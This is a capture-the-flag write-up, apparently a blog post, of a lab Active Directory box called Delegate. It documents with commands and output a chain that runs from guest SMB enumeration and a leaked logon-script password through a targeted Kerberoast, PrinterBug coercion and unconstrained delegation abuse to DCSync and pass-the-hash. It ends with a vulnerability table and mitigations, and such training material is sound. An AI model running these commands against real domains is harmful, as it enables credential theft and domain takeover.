Summary
Delegate is an Active Directory box built around a chain of AD misconfigurations rather than a single bug. Anonymous/guest SMB access leaks a logon script (users.bat) on the NETLOGON share containing a plaintext password, which turns out to be reused by a real domain user, A.Briggs. BloodHound enumeration from that foothold reveals A.Briggs has GenericWrite over another user, N.Thompson. An attempt to abuse that with Shadow Credentials (PKINIT) fails because the DC has no enrolled Certificate Authority, so the GenericWrite is instead abused via a targeted Kerberoast (writing a fake SPN onto N.Thompson, requesting a TGS, and cracking it offline) - netting N.Thompson's password and WinRM access (user flag).
N.Thompson turns out to hold SeEnableDelegationPrivilege. Combined with a non-zero MachineAccountQuota, this allows creating a new computer account, marking it as trusted for unconstrained delegation, and coercing the Domain Controller's machine account (DC1$) to authenticate to it (PrinterBug/MS-RPRN coercion via a spoofed DNS record + SPN). The DC's TGT is captured with krbrelayx, which is then used to DCSync the entire domain and recover the Administrator NTLM hash, leading to Pass-the-Hash and full domain compromise (root flag).
1. Reconnaissance
1.1 Nmap
nmap -A -Pn machine-ip -o nmap
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: delegate.vl)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http
636/tcp open tcpwrapped
3268/tcp open ldap Global Catalog
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server
5985/tcp open http Microsoft-HTTPAPI/2.0 (WinRM)
...
rdp-ntlm-info:
DNS_Domain_Name: delegate.vl
DNS_Computer_Name: DC1.delegate.vl
Standard Domain Controller port set (Kerberos, LDAP/GC, SMB, WinRM, RDP). Confirmed the target is DC1.delegate.vl for domain delegate.vl, and added it to /etc/hosts:
echo 'machine-ip delegate.vl DC1.delegate.vl dc1.delegate.vl' >> /etc/hosts
1.2 Anonymous / Guest SMB enumeration
Null and guest sessions were both accepted:
nxc smb machine-ip -u '' -p ''
nxc smb machine-ip -u 'guest' -p ''
[+] delegate.vl\:
[+] delegate.vl\guest:
Share listing required a non-null (guest) session:
nxc smb machine-ip -u 'guest' -p '' --shares
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
IPC$ READ Remote IPC
NETLOGON READ Logon server share
SYSVOL READ Logon server share
1.3 User enumeration via RID brute-force
nxc smb machine-ip -u 'guest' -p '' --rid-brute
Snipped to the relevant user SIDs:
1104: DELEGATE\A.Briggs (SidTypeUser)
1105: DELEGATE\b.Brown (SidTypeUser)
1106: DELEGATE\R.Cooper (SidTypeUser)
1107: DELEGATE\J.Roberts (SidTypeUser)
1108: DELEGATE\N.Thompson (SidTypeUser)
Extracted into a clean list for later spraying:
nxc smb machine-ip -u 'guest' -p '' --rid-brute \
| grep 'SidTypeUser' | awk -F'\\\\' '{print $2}' | awk '{print $1}' > user.txt
Administrator
Guest
krbtgt
DC1$
A.Briggs
b.Brown
R.Cooper
J.Roberts
N.Thompson
2. Initial Access
2.1 Loot from NETLOGON
The NETLOGON share is world-readable to guest and often hides logon scripts. It did here:
smbclient //delegate.vl/NETLOGON -U 'guest%'
smb: \> get users.bat
users.bat: ASCII text, with CRLF line terminators
rem @echo off
net use * /delete /y
net use v: \\dc1\development
if %USERNAME%==A.Briggs net use h: \\fileserver\backups /user:Administrator P4ssw0rd1#123
A plaintext password (P4ssw0rd1#123) intended for Administrator was captured. Password reuse across accounts is common on these boxes, so it was sprayed against every enumerated user.
2.2 Password spray
kerbrute passwordspray -d delegate.vl --dc machine-ip user.txt 'P4ssw0rd1#123'
[+] VALID LOGIN: A.Briggs@delegate.vl:P4ssw0rd1#123
Done! Tested 9 logins (1 successes) in 1.160 seconds
The password did not work for Administrator directly (STATUS_LOGON_FAILURE), but it did work for A.Briggs - confirmed over SMB:
nxc smb machine-ip -u A.Briggs -p 'P4ssw0rd1#123'
[+] delegate.vl\A.Briggs:P4ssw0rd1#123
WinRM was attempted with the same account but denied - A.Briggs is not in a group with remoting rights, so the next step was deeper AD enumeration rather than a shell.
3. Domain Enumeration - BloodHound
bloodhound-python \
-d delegate.vl -dc dc1.delegate.vl -ns machine-ip \
-u A.Briggs -p 'P4ssw0rd1#123' -c All --zip
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos / 1 ous / 19 containers
INFO: Compressing output into 20260710054958_bloodhound.zip
Loading the collection into BloodHound and pivoting on A.BRIGGS@DELEGATE.VL shows a single outbound edge:
A.Briggs --[GenericWrite]--> N.Thompson
- A.Briggs holds GenericWrite on the user object N.Thompson, meaning A.Briggs can modify most of N.Thompson's attributes (including msDS-KeyCredentialLink for Shadow Credentials, or servicePrincipalName for a targeted Kerberoast).
4. Abusing GenericWrite on N.Thompson
4.1 Attempt 1 - Shadow Credentials (failed)
The first, usually-preferred technique for GenericWrite/WriteProperty on msDS-KeyCredentialLink is to add a Shadow Credential (a fake key pair) and authenticate via PKINIT:
bloodyad -d delegate.vl -u A.Briggs -p 'P4ssw0rd1#123' \
--host dc1.delegate.vl add shadowCredentials N.Thompson
[+] KeyCredential generated ...
[-] PKINIT failed on DC machine-ip, you must find a Kerberos server with a certification authority!
kerbad.protocol.errors.KerberosError: KDC_ERR_PADATA_TYPE_NOSUPP
certipy auth against the resulting PFX confirmed the same failure:
[-] Got error while trying to request TGT: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
Root cause: there is no Active Directory Certificate Services (AD CS) CA on the domain, so the DC's KDC cannot process PKINIT pre-authentication at all. Shadow Credentials is a dead end here. The leftover key was cleaned up to keep the object state tidy for the next technique:
bloodyAD -d delegate.vl -u A.Briggs -p 'P4ssw0rd1#123' \
--host dc1.delegate.vl remove shadowCredentials N.Thompson
[+] All keys removed
4.2 Attempt 2 - Targeted Kerberoasting (works)
GenericWrite also allows writing a temporary SPN onto the target account. Once an SPN exists, any authenticated user can request a Kerberos service ticket (TGS) for that account and crack it offline - this is exactly what targetedKerberoast automates: add SPN → request TGS → remove SPN.
git clone https://github.com/ShutdownRepo/targetedKerberoast
python3 targetedKerberoast.py -v -d delegate.vl -u A.Briggs -p 'P4ssw0rd1#123'
[VERBOSE] SPN added successfully for (N.Thompson)
[+] Printing hash for (N.Thompson)
$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$e01d4335...[snipped]...db7dce988a
[VERBOSE] SPN removed successfully for (N.Thompson)
The tool automatically cleaned up the SPN afterward. The hash was cracked offline with John the Ripper against rockyou.txt:
john thompson.hash --wordlist=/usr/share/wordlists/rockyou.txt
KALEB_2341 (?)
1g 0:00:00:03 DONE ... 0.2681g/s
Credential: n.thompson : KALEB_2341
Validated across protocols:
nxc smb delegate.vl -u n.thompson -p KALEB_2341
nxc ldap delegate.vl -u n.thompson -p KALEB_2341
nxc winrm delegate.vl -u n.thompson -p KALEB_2341
SMB [+] delegate.vl\n.thompson:KALEB_2341
LDAP [+] delegate.vl\n.thompson:KALEB_2341
WINRM [+] delegate.vl\n.thompson:KALEB_2341 (Pwn3d!)
4.3 Shell as N.Thompson - user flag
evil-winrm -i dc1.delegate.vl -u n.thompson -p KALEB_2341
*Evil-WinRM* PS C:\Users\N.Thompson\Desktop> type user.txt
5aa4b081dfae1db320c24ccc34a46c7b
5. Privilege Escalation - Unconstrained Delegation Abuse
The rest of this chain follows the unconstrained delegation abuse technique documented on HackTricks: Unconstrained Delegation - HackTricks.
5.1 Enumerate rights
whoami /all
Key finding in the privileges list:
Privilege Name Description State
============================= =============================================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeEnableDelegationPrivilege is a highly sensitive right - normally reserved for admin tiers - that lets its holder mark accounts (including ones they create) as trusted for unconstrained delegation. Combined with the ability to add a machine account, this is a well-known path to full domain compromise.
5.2 Check MachineAccountQuota
nxc ldap dc1.delegate.vl -u A.Briggs -p P4ssw0rd1#123 -M maq
MAQ MachineAccountQuota: 10
Regular users can join up to 10 computers to the domain - plenty for the attack.
5.3 Add an attacker-controlled computer account
impacket-addcomputer delegate.vl/n.thompson:KALEB_2341 \
-computer-name 'EVIL01$' -computer-pass 'Pass123!' -dc-ip dc1.delegate.vl
[*] Successfully added machine account EVIL01$ with password Pass123!.
Because N.Thompson created EVIL01$, N.Thompson owns it and can freely modify its userAccountControl.
5.4 Mark the new computer as trusted for unconstrained delegation
bloodyAD -d delegate.vl -u n.thompson -p KALEB_2341 \
--host dc1.delegate.vl add uac 'EVIL01$' -f TRUSTED_FOR_DELEGATION
[+] ['TRUSTED_FOR_DELEGATION'] property flags added to EVIL01$'s userAccountControl
This is the SeEnableDelegationPrivilege right being exercised: EVIL01$ is now flagged to receive and store forwardable Kerberos tickets from anything that authenticates to it - exactly what's needed to trap the DC's own TGT.
5.5 Register a hostname and SPN for the fake computer
The attack needs the Domain Controller to be coerced into authenticating over SMB to EVIL01, which means EVIL01 needs a resolvable DNS name and a cifs/ SPN for Kerberos (rather than NTLM) to be used.
python3 dnstool.py -u 'delegate.vl\EVIL01$' -p 'Pass123!' \
--action add --record evil01.delegate.vl --type A --data 10.10.15.223 \
-dns-ip machine-ip dc1.delegate.vl
[+] LDAP operation completed successfully
Adding the SMB service SPN directly failed due to validated-write restrictions on the primary SPN attribute:
python3 addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' \
-s 'cifs/evil01.delegate.vl' -t 'EVIL01$' -T samname -dc-ip machine-ip dc1.delegate.vl
[!] Could not modify object, the server reports a constrained violation
[!] ... Validated write only allows adding SPNs matching the hostname ...
[!] To add any SPN in the current domain, use --additional to add the SPN via msDS-AdditionalDnsHostName
Retried using the msDS-AdditionalDnsHostName attribute instead, which succeeded:
python3 addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' \
-s 'cifs/evil01.delegate.vl' -t 'EVIL01$' -T samname -dc-ip machine-ip dc1.delegate.vl --additional
[+] SPN Modified successfully
With the hostname registered via msDS-AdditionalDnsHostName, the same command was re-run without --additional — this time it completed normally, confirming the SPN write is now accepted since the target hostname is recognized:
python3 addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' \
-s 'cifs/evil01.delegate.vl' -t 'EVIL01$' -T samname -dc-ip machine-ip dc1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
5.6 Start the ticket-capturing listener
python3 krbrelayx.py --krbpass 'Pass123!' --krbsalt 'DELEGATE.VLEVIL01$' -dc-ip machine-ip
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server / HTTP Server / DNS Server
[*] Servers started, waiting for connections
krbrelayx impersonates EVIL01$ and waits for an incoming Kerberos-authenticated connection, from which it will extract the forwarded TGT.
5.7 Coerce the Domain Controller (PrinterBug)
nxc smb machine-ip -u n.thompson -p KALEB_2341 \
-M coerce_plus -o LISTENER=evil01.delegate.vl METHOD=PrinterBug
COERCE_PLUS VULNERABLE, PrinterBug
COERCE_PLUS Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx
This abuses the MS-RPRN print spooler RPC interface to force DC1$ to connect back to evil01.delegate.vl over SMB. Because EVIL01$ is trusted for unconstrained delegation and has a matching cifs/ SPN, DC1$ authenticates via Kerberos and forwards a copy of its own TGT.
Back on the listener:
[*] SMBD: Received connection from machine-ip
[*] Got ticket for DC1$@DELEGATE.VL [krbtgt@DELEGATE.VL]
[*] Saving ticket in DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
The Domain Controller's own machine-account TGT is now on disk.
5.8 DCSync using the captured DC1$ ticket
export KRB5CCNAME=DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
klist
Default principal: DC1$@DELEGATE.VL
Valid starting Expires Service principal
07/10/2026 06:51:32 07/10/2026 16:19:21 krbtgt/DELEGATE.VL@DELEGATE.VL
DC1$ is itself a Domain Controller account, so it inherits Get-Replicating-Changes-All rights - a DCSync (full NTDS dump) is now possible using the stolen ticket instead of any password:
nxc smb delegate.vl --use-kcache --ntds
Output snipped to the accounts of interest:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c32198ce...[snipped]...ee93:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:54999c1daa89d35fbd2e36d01c4a2cf2:::
A.Briggs:1104:...:8e5a0462f96bc85faf20378e243bc4a3:::
b.Brown:1105:...:deba71222554122c3634496a0af085a6:::
R.Cooper:1106:...:17d5f7ab7fc61d80d1b9d156f815add1:::
J.Roberts:1107:...:4ff255c7ff10d86b5b34b47adc62114f:::
N.Thompson:1108:...:4b514595c7ad3e2f7bb70e7e61ec1afe:::
DC1$:1000:...:f7caf5a3e44bac110b9551edd1ddfa3c:::
EVIL01$:4601:...:c718f548c75062ada93250db208d3178:::
[+] Dumped 10 NTDS hashes ... 8 were added to the database
Every credential in the domain, including the Administrator NTLM hash, has been recovered.
5.9 Pass-the-Hash - root flag
evil-winrm -i dc1.delegate.vl -u Administrator -H c32198ce...[snipped]...ee93
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
309da11961034e88db89ab88ab5f16a6
Full domain compromise achieved.
Key Vulnerabilities
| # | Vulnerability | Impact |
|---|---|---|
| 1 |
Anonymous/Guest SMB access - null and guest sessions allowed, NETLOGON share readable |
Enumeration of users (RID brute force) and disclosure of a logon script |
| 2 |
Plaintext credential in a logon script (users.bat on NETLOGON) |
Leaked password, reused by a real account (A.Briggs) |
| 3 | Password reuse | Leaked "Administrator" password actually valid for A.Briggs |
| 4 | Excessive GenericWrite ACL (A.Briggs → N.Thompson) | Enabled targeted Kerberoasting of N.Thompson |
| 5 | No AD CS / PKINIT support | Prevented Shadow Credentials, but a targeted Kerberoast achieved the same outcome - defense-in-depth failure, not a fix |
| 6 |
SeEnableDelegationPrivilege granted to a low-privileged user (N.Thompson) |
Allowed marking an attacker-created computer as trusted for unconstrained delegation |
| 7 |
Non-zero MachineAccountQuota (default 10) |
Allowed an unprivileged user to join arbitrary computer accounts to the domain |
| 8 | Print Spooler / MS-RPRN coercion (PrinterBug) enabled on the DC | Allowed forcing the DC to authenticate to an attacker-controlled host |
| 9 | Unconstrained delegation combined with coercion | Captured the DC's own TGT, leading to DCSync and full domain compromise |
Attack Chain
Anonymous/Guest SMB Access
└── RID brute force → user list
└── Read NETLOGON share → users.bat → plaintext password (P4ssw0rd1#123)
└── Password spray → valid for A.Briggs
└── BloodHound enumeration (as A.Briggs)
└── GenericWrite: A.Briggs → N.Thompson
├── [FAILED] Shadow Credentials / PKINIT
│ └── No CA on domain → KDC_ERR_PADATA_TYPE_NOSUPP
└── [SUCCESS] Targeted Kerberoast
└── Add fake SPN on N.Thompson → request TGS
└── Crack offline (John/rockyou) → KALEB_2341
└── WinRM as N.Thompson ── USER FLAG
└── whoami /all → SeEnableDelegationPrivilege
└── Check MachineAccountQuota (10)
└── Add computer EVIL01$
└── Set EVIL01$ TRUSTED_FOR_DELEGATION
└── Add DNS A record for evil01.delegate.vl
└── Add cifs/ SPN via msDS-AdditionalDnsHostName
└── Start krbrelayx listener (unconstrained delegation abuse)
└── Coerce DC1$ via PrinterBug
└── Capture DC1$ TGT
└── DCSync via kcache → full NTDS dump
└── Administrator NTLM hash
└── Pass-the-Hash (Evil-WinRM) ── ROOT FLAG
Mitigation Steps
-
Disable anonymous/guest SMB access. Set
RestrictAnonymous/RestrictAnonymousSAMand disable the Guest account so RID brute-forcing and share enumeration require valid credentials. -
Never store plaintext credentials in logon scripts or GPOs. Use gMSAs, credential vaults, or LAPS instead of embedded
net use ... /user:passwords on NETLOGON/SYSVOL. - Enforce unique passwords per account and monitor for credential reuse (e.g., with tools like DSInternals or breached-password auditing).
-
Audit and minimize AD ACLs. Remove unnecessary
GenericWrite/GenericAll/WriteDaclgrants on user and computer objects; review with BloodHound regularly and alert on dangerous edges. -
Restrict or eliminate
SeEnableDelegationPrivilege. This right should be limited to Domain Admins / Tier-0 accounts only - never assigned (directly or via group membership) to a standard user. -
Set
ms-DS-MachineAccountQuotato 0 unless there is a specific business need for self-service domain joins, preventing unprivileged users from creating computer objects. -
Eliminate unconstrained delegation domain-wide. Use constrained delegation or resource-based constrained delegation (RBCD) instead; flag any computer/user object with the
TRUSTED_FOR_DELEGATIONUAC bit for immediate review. - Disable the Print Spooler service on Domain Controllers (and ideally on servers that don't need it) to close off PrinterBug/MS-RPRN coercion.
- Enable SMB/LDAP signing and channel binding to blunt coercion-to-relay attack chains generally.
- Deploy AD CS with proper templates and monitor PKINIT usage - or, if AD CS is intentionally absent, ensure other privileged-escalation paths (delegation rights, ACLs) are equally hardened rather than relying on its absence as a control.
- Enable Protected Users group / Authentication Policies for high-value accounts (Domain Admins, DCs) to prevent NTLM fallback and limit ticket lifetimes, reducing the blast radius of a captured TGT.
Top comments (0)